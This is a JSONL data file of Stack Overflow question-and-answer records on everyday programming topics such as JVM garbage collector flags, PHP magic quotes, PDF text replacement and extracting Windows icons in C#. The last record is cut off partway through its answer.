{"id": "hf_115140be4efb", "question": "<p>I'd like to log the <em>call trace</em> during certain points, like failed assertions, or uncaught exceptions.</p>\n", "question_body": "", "answer": "This\npretty much tells you what to do.\nEssentially you need to set up the applications exception handling to log, something like:\n```\n```\n#import <ExceptionHandling/NSExceptionHandler.h>\n\n[[NSExceptionHandler defaultExceptionHandler] \n                  setExceptionHandlingMask: NSLogUncaughtExceptionMask | \n                                            NSLogUncaughtSystemExceptionMask | \n                                            NSLogUncaughtRuntimeErrorMask]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.191145"}
{"id": "hf_8d23d0def1f1", "question": "<p>I'm trying to learn GNUMake for a small project I'm working on. So far, even the \"basic\" tutorials seem pretty rough and I've yet to make sense of the makefile syntax.</p>\n\n<p>Does anyone have some good resources for an absolute beginner to get familiar with GNUMake?</p>\n", "question_body": "", "answer": "The definitive guide is\nhttp://www.gnu.org/software/make/manual/make.html\nThere is an o'reilly book \"Managing Projects with GNU Make\" which has more explanation.\nYou can also uses the earlier editions, they don't cover GnuMake specifically but are a lot thinner.\nMake is a dirty secret among developers - none of us understand it, we just borrow a make script from somebody else and change it. I imagine only one script was ever written from scratch (probably by the creator of the tool).\nWhen you need to do more than the simple example most people either switch to a more modern build system like Ant or roll their own in Perl/Python/etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.214000"}
{"id": "hf_5e6947c794a7", "question": "<p>If I download a .gem file to a folder in my computer, can I install it later using <code>gem install</code>?</p>\n", "question_body": "", "answer": "Yup, when you do\n```\ngem install\n```\n, it will search the current directory first, so if your .gem file is there, it will pick it up. I found it on the\ngem reference\n, which you may find handy as well:\ngem install will install the named\n  gem. It will attempt a local\n  installation (i.e. a .gem file in the\n  current directory), and if that fails,\n  it will attempt to download and\n  install the most recent version of the\n  gem you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.237255"}
{"id": "hf_3403e2b98f1b", "question": "<p>Or if any body knows of an alternative control that does?</p>\n\n<p>It would be handy to serve up content to the WebBrowser control that has embedded images &amp; other resources from a database without having a dependency on these resources being hosted on a webserver or to create temporary files on the local file system.</p>\n\n<p>Mhtml supports this but doesn't seem to work in a WebBrowser control when using the DocumentText property?</p>\n", "question_body": "", "answer": "Seems to be working for me.\nexample:\n```\n```\nthis.webBrowser1.Url = new System.Uri(@\"C:\\TempFiles\\MyTest.mht\");\n```\n```\nwhat in particular is not working correctly?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.297894"}
{"id": "hf_313160e3a5dd", "question": "<p>I'm looking for Ruby's Active record for PHP. Something that is so simple that I just define my fields, extend the base ORM class, and I get ACID operations for free. I should get default getters and setters without writing any code, but overriding a default getter or setter is as easy as declaring get$fieldName or set$fieldName functions with the behavior I want.  Symphony makes you create about 5 files per object, and all defined objects always load as far as I can tell. What is a better alternative? Why is it better? Can you put simple examples in your answers please?</p>\n\n<p>Doctrine is another ORM I've looked at besides symphony . There also you need to create yaml files that describe your data structures. The database already defines this stuff. What will just read my table defs without having to generate and store config files everywhere?</p>\n", "question_body": "", "answer": "Zend_Db_Table\nand\nZend_Db_Table_Row\nare fairly good at what you're describing.  You don't need any configuration file, most metadata is \"discovered\" from the database itself.\nTechnically these classes don't implement the ActiveRecord pattern.  Instead, they implement the\nTable Data Gateway\nand\nRow Data Gateway\npatterns.  Together, these offer similar value as ActiveRecord, and in some ways are more flexible than ActiveRecord.\nBut as with any ORM, there are inevitably some SQL queries and operations that you can't do through the OO interface.  No ORM can serve as one-stop shopping.\nFootnote:  I worked on the Zend Framework project for a little over a year, especially on the Zend_Db component.  But I don't work for them anymore.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.334722"}
{"id": "hf_1e577f4c6a3d", "question": "<p>How do I access a page's HTTP response headers via JavaScript?</p>\n\n<p>Related to <a href=\"https://stackoverflow.com/questions/220149/how-do-i-access-the-http-request-header-fields-via-javascript\"><strong>this question</strong></a>, which was modified to ask about accessing two specific HTTP headers.</p>\n\n<blockquote>\n  <p><strong>Related:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/220149/how-do-i-access-the-http-request-header-fields-via-javascript\">How do I access the HTTP request header fields via JavaScript?</a></p>\n</blockquote>\n", "question_body": "", "answer": "Unfortunately, there isn't an API to give you the HTTP response headers for your initial page request. That was the original question posted here. It has been\nrepeatedly asked\n, too, because some people would like to get the actual response headers of the original page request without issuing another one.\nFor AJAX Requests:\nIf an HTTP request is made over AJAX, it is possible to get the response headers with the\n```\ngetAllResponseHeaders()\n```\nmethod. It's part of the XMLHttpRequest API. To see how this can be applied, check out the\n```\nfetchSimilarHeaders()\n```\nfunction below. Note that this is a work-around to the problem that won't be reliable for some applications.\n```\n```\nmyXMLHttpRequest.getAllResponseHeaders();\n```\n```\nThe API was specified in the following candidate recommendation for XMLHttpRequest:\nXMLHttpRequest - W3C Candidate Recommendation 3 August 2010\nSpecifically, the\n```\ngetAllResponseHeaders()\n```\nmethod was specified in the following section:\nw3.org:\n```\nXMLHttpRequest\n```\n: the\n```\ngetallresponseheaders()\n```\nmethod\nThe MDN documentation is good, too:\ndeveloper.mozilla.org:\n```\nXMLHttpRequest\n```\n.\nThis will not give you information about the original page request's HTTP response headers, but it could be used to make educated guesses about what those headers were. More on that is described next.\nGetting header values from the Initial Page Request:\nThis question was first asked several years ago, asking specifically about how to get at the original HTTP response headers for the\ncurrent page\n(i.e. the same page inside of which the javascript was running). This is quite a different question than simply getting the response headers for any HTTP request. For the initial page request, the headers aren't readily available to javascript. Whether the header values you need will be reliably and sufficiently consistent if you request the same page again via AJAX will depend on your particular application.\nThe following are a few suggestions for getting around that problem.\n1. Requests on Resources which are largely static\nIf the response is largely static and the headers are not expected to change much between requests, you could make an AJAX request for the same page you're currently on and assume that they're they are the same values which were part of the page's HTTP response. This could allow you to access the headers you need using the nice XMLHttpRequest API described above.\n```\n```\nfunction fetchSimilarHeaders (callback) {\n    var request = new XMLHttpRequest();\n    request.onreadystatechange = function () {\n        if (request.readyState === XMLHttpRequest.DONE) {\n            //\n            // The following headers may often be similar\n            // to those of the original page request...\n            //\n            if (callback && typeof callback === 'function') {\n                callback(request.getAllResponseHeaders());\n            }\n        }\n    };\n\n    //\n    // Re-request the same page (document.location)\n    // We hope to get the same or similar response headers to those which \n    // came with the current page, but we have no guarantee.\n    // Since we are only after the headers, a HEAD request may be sufficient.\n    //\n    request.open('HEAD', document.location, true);\n    request.send(null);\n}\n```\n```\nThis approach will be problematic if you truly have to rely on the values being consistent between requests, since you can't fully guarantee that they are the same. It's going to depend on your specific application and whether you know that the value you need is something that won't be changing from one request to the next.\n2. Make Inferences\nThere are\nsome BOM properties\n(Browser Object Model) which the browser determines by looking at the headers. Some of these properties reflect HTTP headers directly (e.g.\n```\nnavigator.userAgent\n```\nis set to the value of the HTTP\n```\nUser-Agent\n```\nheader field). By sniffing around the available properties you might be able to find what you need, or some clues to indicate what the HTTP response contained.\n3. Stash them\nIf you control the server side, you can access any header you like as you construct the full response. Values could be passed to the client with the page, stashed in some markup or perhaps in an inlined JSON structure. If you wanted to have every HTTP request header available to your javascript, you could iterate through them on the server and send them back as hidden values in the markup. It's probably not ideal to send header values this way, but you could certainly do it for the specific value you need. This solution is arguably inefficient, too, but it would do the job if you needed it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.359607"}
{"id": "hf_7da6580d43ee", "question": "<p>In the <code>IDisposable.Dispose</code> method is there a way to figure out if an exception is being thrown?</p>\n\n<pre><code>using (MyWrapper wrapper = new MyWrapper())\n{\n    throw new Exception(\"Bad error.\");\n}\n</code></pre>\n\n<p>If an exception is thrown in the <code>using</code> statement I want to know about it when the <code>IDisposable</code> object is disposed.</p>\n", "question_body": "", "answer": "Instead of the syntactic sugar of the using statement, why not just implement your own logic for this.  Something like:\n```\n```\ntry\n{\n  MyWrapper wrapper = new MyWrapper();\n\n}\ncatch (Exception e)\n{\n  wrapper.CaughtException = true;\n}\nfinally\n{\n   if (wrapper != null)\n   {\n      wrapper.Dispose();\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.385898"}
{"id": "hf_0174d4d7dacc", "question": "<p>I'm trying to figure out a decent solution (especially from the SEO side) for embedding fonts in web pages. So far I have seen <a href=\"http://web.archive.org/web/20100208164146/http://www.spoono.com/html/tutorials/tutorial.php?id=19\" rel=\"noreferrer\">the W3C solution</a>, which doesn't even work on Firefox, and <a href=\"http://web.archive.org/web/20130127125919/http://wiki.novemberborn.net/sifr/How+to+use\" rel=\"noreferrer\">this pretty cool solution</a>. The second solution is for titles only. Is there a solution available for full text? I'm tired of the standard fonts for web pages.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "And it's unlikely too -- EOT is a fairly restrictive format that is supported only by IE.  Both Safari 3.1 and Firefox 3.1 (well the current alpha) and possibly Opera 9.6 support true type font (ttf) embedding, and at least Safari supports SVG fonts through the same mechanism.  A list apart had a good discussion about this a while\nback\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.410224"}
{"id": "hf_5ee034fed92e", "question": "<p>How can I comment a JSP expression like: <code>&lt;%= map.size() %&gt;</code></p>\n\n<p>Is there something like <code>&lt;%= // map.size() %&gt;?</code></p>\n", "question_body": "", "answer": "One of:\nIn html\n```\n```\n<!-- map.size here because --> \n<%= map.size() %>\n```\n```\ntheoretically the following should work, but i never used it this way.\n```\n```\n<%= map.size() // map.size here because %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.434623"}
{"id": "hf_04f9d30f6106", "question": "<p>I am curious as to why an implicit cast fails in...</p>\n\n<pre><code>int? someValue = SomeCondition ? ResultOfSomeCalc() : null;\n</code></pre>\n\n<p>and why I have to perform an explicit cast instead</p>\n\n<pre><code>int? someValue = SomeCondition ? ResultofSomeCalc() : (int?)null;\n</code></pre>\n\n<p>It seems to me that the compiler has all the information it need to make an implicit casting decision, no?</p>\n", "question_body": "", "answer": "The relevant section of the C# 3.0 spec is 7.13, the conditional operator:\nThe second and third operands of the ?: operator control the type of the conditional expression. Let X and Y be the types of the second and third operands. Then,\nIf X and Y are the same type, then this is the type of the conditional\nOtherwise, if an implicit conversion (§6.1) exists from X to Y, but not from Y to X, then Y is the type of the conditional expression.\nOtherwise, if an implicit conversion (§6.1) exists from Y to X, but not from X to Y, then X is the type of the conditional expression.\nOtherwise, no expression type can be determined, and a compile-time error occurs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.470394"}
{"id": "hf_d17c0e0d751e", "question": "<p>So after installing NUnit, the assemblies (<code>nunit.framework</code>, etc.) now appear in the <code>References &gt; Add Reference</code> dialog, but they're not in the <code>%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727</code> dir and there is no <code>NUnit</code> registry entry for the Assembly Path <code>(i.e. HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\.NETFramewokr\\AssemblyFolder)</code>.</p>\n\n<p>There's also no automatic entries created in the project properties Reference Paths for the <code>NUnit</code> install directory.  How the heck are they appearing in the \"Add Dialog\"?!?!  I thought the mentioned way were the only ways assemblies could appear in \"Add Reference\".</p>\n", "question_body": "", "answer": "Strange, [HKEY_CURRENT_USER\\SOFTWARE\\Microsoft.NETFramework\\AssemblyFolders] should be the only thing driving this.\nPerhaps this snippet from\nthis page\nis relevant?\nIf you install the .NET Framework 3.0 Service Pack 1 (SP1), the following registry subkey is added:\n```\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\.NETFramework\\AssemblyFolders\\v3.0\n```\n```\nIf you install the .NET Framework 3.5, the following registry subkey is added:\n```\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\.NETFramework\\AssemblyFolders\\v3.5\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.504841"}
{"id": "hf_489acf6550bc", "question": "<p>I would like to have my warnings set to the highest level using Microsoft Visual C++ compiler. Similar to using -pedantic on gcc. What compiler switches do you use to have the most warnings enabled?</p>\n", "question_body": "", "answer": "```\n/W4 /Wall\n```\nshould do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.551967"}
{"id": "hf_0803555d7c51", "question": "<p>I need to apply some xml templates to various streams of xml data (and files, on occasion) and there seem to be a large number of xml libraries for java out there -- enough that it's difficult to quickly determine which libraries are still active, how they differ from the other options that are also active, and what criteria should be considered when choosing one.</p>\n\n<p>What libraries do you use for manipulating xml in java, and why is it better than the alternatives?</p>\n", "question_body": "", "answer": "You should decide if you want/are able to load the whole document into memory.  If it is a large document, you may want to look at the sax\nparser\n.  This works well for large documents.  Otherwise you may want to look into a dom parser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.575097"}
{"id": "hf_c64f3ecd3436", "question": "<p>Are the .net classes relating to DbProviderFactory thread safe?</p>\n", "question_body": "", "answer": "When you say \"These instances are generated once at run time, and used for the rest of the service's life\", do you mean the connection object? Also, do you mean you're keeping the connection object open through out the life of your service?  If your service is multi-threaded and you only have one instance of the connection (say for example a singleton or static class), you have to make sure the connection is only used by one thread at a time.\nWithout seeing much code, it sounds like a problem with how you treat the IDbConnection you get from the factory, instead of the factory itself.\nWe use the DbProviderFactory very heavily for our multithreaded applications, which connect to Oracle, FoxPro and SqlServer and I haven't seen this issue.\nGood luck!\nRicardo.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.598473"}
{"id": "hf_ddb112d3c4b9", "question": "<p>I have just started migrating my homegrown persistence framework to JPA.</p>\n\n<p>Given that the persistence frameworks hide a lot of the plumbing, I'm interested in knowing if NOT closing EntityManagers will create a resource leak, or if the frameworks will collect and close them for me.</p>\n\n<p>I intend in all places to close them, but do I HAVE to?</p>\n\n<p>At the moment using TopLink, just because it works with NetBeans easily, but am happy to investigate other JPA providers.</p>\n", "question_body": "", "answer": "You should.\nFrameworks have no idea how you intend to use the EM, so they cannot close it (except, may be, on finalization, which is not guaranteed). Yes, not closing them would create a resource leak.\nThe idea is the same as \"always close java.sql.Connection\" (despite some data sources have settings to close them automatically by inactivity) or \"always close Hibernate session\".\nBesides, if you plan to write portable code, you shouldn't rely on specific JPA provider \"being smart\" -- other may fail to close the EM in time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.694109"}
{"id": "hf_cef78d26753e", "question": "<p>I need to write robust code in .NET to enable a windows service (server 2003) to restart itself. What is the best way to so this? Is there some .NET API to do it?</p>\n", "question_body": "", "answer": "I don't think you can in a self-contained service (when you call Restart, it will stop the service, which will interrupt the Restart command, and it won't ever get started again). If you can add a second .exe (a Console app that uses the ServiceManager class), then you can kick off the standalone .exe and have it restart the service and then exit.\nOn second thought, you could probably have the service register a Scheduled Task (using the command-line 'at' command, for example) to start the service and then have it stop itself; that would probably work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.726634"}
{"id": "hf_215aa7734286", "question": "<p>This article <a href=\"http://www.petefreitag.com/articles/gctuning/\" rel=\"noreferrer\">here</a> suggests to use <code>-XX:+UseParNewGC</code> \"To enable a parallel young generation GC with the concurrent GC\".  </p>\n\n<p>My confusion is that in order to enable both parallel and concurrent GC, should I</p>\n\n<ul>\n<li>use <code>-XX:+UseParNewGC</code> or</li>\n<li>use both <code>-XX:+UseParNewGC</code> <em>and</em> <code>-XX:+UseConcMarkSweepGC</code> ?</li>\n</ul>\n\n<h3>PS</h3>\n\n<p>I am using JVM 6.</p>\n", "question_body": "", "answer": "Since the document you linked was for a 1.4.2 VM that's what I'll assume you're using (JVMs 5 and 6 behave differently).\nFrom\nhttp://java.sun.com/docs/hotspot/gc1.4.2/\nif -XX:+UseConcMarkSweepGC is used on\n  the command line then the flag\n  UseParNewGC is also set to true if it\n  is not otherwise explicitly set on the\n  command line\nSo the answer is you only need to use -XX:+UseConcMarkSweepGC and it will enable the concurrent collector with the parallel young generation collector.\nEdit: for Java 6, the same flag (-XX:+UseConcMarkSweepGC) enables the concurrent collector. The choice of collector you want depends on a few things, and you should test different configurations. But there are some very general guidelines. If you have a single processor, single thread machine then you should use the serial collector (default for some configurations, can be enabled explicitly for with -XX:+UseSerialGC). For multiprocessor machines where your workload is basically CPU bound, use the parallel collector. This is enabled by default if you use the -server flag, or you can enable it explicitly with -XX:+UseParallelGC. If you'd rather keep the GC pauses shorter at the expense of using more total CPU time for GC, and you have more than one CPU, you can use the concurrent collector (-XX:+UseConcMarkSweepGC). Note that the concurrent collector tends to require more RAM allocated to the JVM than the serial or parallel collectors for a given workload because some memory fragmentation can occur.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.761613"}
{"id": "hf_4bb05a14de9c", "question": "<p>This is the exception that I'm getting when I'm trying to bind to a System.Type.Name.</p>\n\n<p>Here is what I'm doing:</p>\n\n<pre><code>this.propertyTypeBindingSource.DataSource = typeof(System.Type);\n\n/* snip */\n\nthis.nameTextBox1.DataBindings.Add(\n    new System.Windows.Forms.Binding(\n        \"Text\", \n        this.propertyTypeBindingSource, \n        \"Name\", true));\n</code></pre>\n\n<p>Is there some trick with binding to System.Type, is it not allowed or is there any workaround? Have no problems with binding to other types.</p>\n", "question_body": "", "answer": "Found a workaround. Made a class\n```\n```\npublic class StubPropertyType\n{\n    public StubPropertyType(Type type)\n    {\n        this.StubPropertyTypeName = type.Name;\n    }\n\n    public string StubPropertyTypeName = string.Empty;\n}\n```\n```\ncreated a binding source\n```\n```\nthis.propertyStubBindingSource.DataSource = typeof(StubPropertyType);\n```\n```\ncreated an instance of the class and bound the textbox to it.\n```\n```\nthis.nameTextBox.DataBindings.Add(\n    new System.Windows.Forms.Binding(\n        \"Text\", \n        this.propertyStubBindingSource, \n        \"StubPropertyTypeName\", \n        true));\n```\n```\nworks exactly as required.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.785784"}
{"id": "hf_b5752103eff0", "question": "<p>In one of the stackoverflow podcasts (#18 I think) Jeff and Joel were talking about multi vs single tenant databases. Joel mentioned that \"FogBugz on Demand\" used a database per customer architecture and I was wondering if there is a point beyond which you'll need to have multiple database servers to distribute the load?</p>\n", "question_body": "", "answer": "Technically the limit of databases per instance in SQL Server is 32,767, but I doubt that you could use a SQL Server instance that has more than 2,000 databases, at that point the server would probably be not responsive.\nYou may be able to have close to 30,000 databases if they were all auto-closed and not being used. you can find more information about capacity limits here:\nMaximum Capacity Specifications for SQL Server", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.822401"}
{"id": "hf_baf87338f097", "question": "<p>According to the <a href=\"http://ca3.php.net/manual/en/function.get-magic-quotes-gpc.php\" rel=\"noreferrer\">PHP manual</a>, in order to make code more portable, they recommend using something like the following for escaping data:</p>\n\n<pre><code>if (!get_magic_quotes_gpc()) {\n    $lastname = addslashes($_POST['lastname']);\n} else {\n    $lastname = $_POST['lastname'];\n}\n</code></pre>\n\n<p>I have other validation checks that I will be performing, but how secure is the above strictly in terms of escaping data? I also saw that magic quotes will be deprecated in PHP 6. How will that affect the above code? I would prefer not to have to rely on a database-specific escaping function like mysql_real_escape_string().</p>\n", "question_body": "", "answer": "Magic quotes are inherently broken. They were meant to sanitize input to the PHP script, but without knowing how that input will be used it's impossible to sanitize correctly. If anything, you're better off checking if magic quotes are enabled, then calling stripslashes() on $_GET/$_POST/$_COOKIES/$_REQUEST, and then sanitizing your variables at the point where you're using it somewhere. E.g. urlencode() if you're using it in a URL, htmlentities() if you're printing it back to a web page, or using your database driver's escaping function if you're storing it to a database. Note those input arrays could contain sub-arrays so you might need to write a function can recurse into the sub-arrays to strip those slashes too.\nThe PHP\nman page on magic quotes\nagrees:\n\"This feature has been DEPRECATED as\n  of PHP 5.3.0 and REMOVED as of PHP\n  5.4.0. Relying on this feature is highly discouraged. Magic Quotes is a\n  process that automagically escapes\n  incoming data to the PHP script. It's\n  preferred to code with magic quotes\n  off and to instead escape the data at\n  runtime, as needed.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.911136"}
{"id": "hf_97aa57f29e33", "question": "<p>I'm trying to make a triangle (isosceles triangle) to move around the screen and at the same time slightly rotate it when a user presses a directional key (like right or left).</p>\n\n<p>I would like the nose (top point) of the triangle to lead the triangle at all times. (Like that old asteroids game).</p>\n\n<p>My problem is with the maths behind this. At every X time interval, I want the triangle to move in \"some direction\", I need help finding this direction (x and y increments/decrements).</p>\n\n<p>I can find the center point (Centroid) of the triangle, and I have the top most x an y points, so I have a line vector to work with, but not a clue as to \"how\" to work with it.</p>\n\n<p>I think it has something to do with the old Sin and Cos methods and the amount (angle) that the triangle has been rotated, but I'm a bit rusty on that stuff.</p>\n\n<p>Any help is greatly appreciated.</p>\n", "question_body": "", "answer": "The arctangent (inverse tangent) of vy/vx, where vx and vy are the components of your (centroid->tip) vector, gives you the angle the vector is facing.\nThe classical arctangent gives you an angle normalized to -90° < r < +90° degrees, however, so you have to add or subtract 90 degrees from the result depending on the sign of the result and the sign of vx.\nLuckily, your standard library should proive an atan2() function that takes vx and vy seperately as parameters, and returns you an angle between 0° and 360°, or -180° and +180° degrees. It will also deal with the special case where vx=0, which would result in a division by zero if you were not careful.\nSee\nhttp://www.arctangent.net/atan.html\nor just search for \"arctangent\".\nEdit: I've used degrees in my post for clarity, but Java and many other languages/libraries work in radians where 180° = π.\nYou can also just add vx and vy to the triangle's points to make it move in the \"forward\" direction, but make sure that the vector is normalized (vx² + vy² = 1), else the speed will depend on your triangle's size.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.935451"}
{"id": "hf_f4720ef49c81", "question": "<p>How would I be able to programmatically search and replace some text in a large number of PDF files?  I would like to remove a URL that has been added to a set of files.  I have been able to remove the link using javascript under Batch Processing in Adobe Pro, but the link text remains.  I have seen recommendations to use text touchup, which works manually, but I don't want to modify 1300 files manually.</p>\n", "question_body": "", "answer": "Finding text in a PDF can be inherently hard because of the graphical nature of the document format -- the letters you are searching for may not be contiguous in the file.  That said,\nCAM::PDF\nhas some search-replace capabilities and heuristics.  Give\nchangepagestring.pl\na try and see if it works on your PDFs.\nTo install:\n```\n```\n$ cpan install CAM::PDF\n # start a new terminal if this is your first cpan module\n $ changepagestring.pl input.pdf oldtext newtext output.pdf\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.959419"}
{"id": "hf_b8d618502ff7", "question": "<p>I have an application which I have made a 256 x 256 Windows&nbsp;Vista icon for.</p>\n\n<p>I was wondering how I would be able to use a 256x256 PNG file in the ico file used as the application icon and show it in a picture box on a form.</p>\n\n<p>I am using VB.NET, but answers in C# are fine. I'm thinking I may have to use reflection.</p>\n\n<p>I am not sure if this is even possible in Windows&nbsp;XP and may need Windows&nbsp;Vista APIs</p>\n", "question_body": "", "answer": "Found info\nhere\n.  To get the large Vista icon, you need to use Shell32's SHGetFileInfo method.  I've copied the relevant text below, of course you'll want to replace the filename variable with \"Assembly.GetExecutingAssembly().Location\".\n```\n```\nusing System.Runtime.InteropServices;\n```\n```\nA bunch of constants we will use in the call to SHGetFileInfo() to specify the size of the icon we wish to retrieve:\n```\n```\n// Constants that we need in the function call\nprivate const int SHGFI_ICON = 0x100;\nprivate const int SHGFI_SMALLICON = 0x1;\nprivate const int SHGFI_LARGEICON = 0x0;\n```\n```\nThe SHFILEINFO structure is very important as it will be our handle to various file information, among which is the graphic icon.\n```\n```\n// This structure will contain information about the file\npublic struct SHFILEINFO\n{\n    // Handle to the icon representing the file\n    public IntPtr hIcon;\n    // Index of the icon within the image list\n    public int iIcon;\n    // Various attributes of the file\n    public uint dwAttributes;\n    // Path to the file\n    [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]\n    public string szDisplayName;\n    // File type\n    [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 80)]\n    public string szTypeName;\n};\n```\n```\nThe final preparation for the unmanaged code is to define the signature of SHGetFileInfo, which is located inside the popular Shell32.dll:\n```\n```\n// The signature of SHGetFileInfo (located in Shell32.dll)\n[DllImport(\"Shell32.dll\")]\npublic static extern IntPtr SHGetFileInfo(string pszPath, uint dwFileAttributes, ref SHFILEINFO psfi, int cbFileInfo, uint uFlags);\n```\n```\nNow that we have everything prepared, it's time to make the call to the function and display the icon that we retrieved. The object that will be retrieved is an Icon type (System.Drawing.Icon) but we want to display it in a PictureBox so we'll convert the Icon to a Bitmap using the ToBitmap() method.\nBut first of all there are 3 controls you need to add to the form, a Button btnExtract that has \"Extract Icon\" for its Text property, picIconSmall which is a PictureBox and a picIconLarge which is also a PictureBox. That's because we will get two icons sizes. Now double click btnExtract in Visual Studio's Design view and you'll get to its Click event. Inside it is the rest of the code:\n```\n```\nprivate void btnExtract_Click(object sender, EventArgs e)\n{\n    // Will store a handle to the small icon\n    IntPtr hImgSmall;\n    // Will store a handle to the large icon\n    IntPtr hImgLarge;\n\n    SHFILEINFO shinfo = new SHFILEINFO();\n\n    // Open the file that we wish to extract the icon from\n    if(openFile.ShowDialog() == DialogResult.OK)\n    {\n        // Store the file name\n        string FileName = openFile.FileName;\n        // Sore the icon in this myIcon object\n        System.Drawing.Icon myIcon;\n\n        // Get a handle to the small icon\n        hImgSmall = SHGetFileInfo(FileName, 0, ref shinfo, Marshal.SizeOf(shinfo), SHGFI_ICON | SHGFI_SMALLICON);\n        // Get the small icon from the handle\n        myIcon = System.Drawing.Icon.FromHandle(shinfo.hIcon);\n        // Display the small icon\n        picIconSmall.Image = myIcon.ToBitmap();\n\n        // Get a handle to the large icon\n        hImgLarge = SHGetFileInfo(FileName, 0, ref shinfo, Marshal.SizeOf(shinfo), SHGFI_ICON | SHGFI_LARGEICON);\n        // Get the large icon 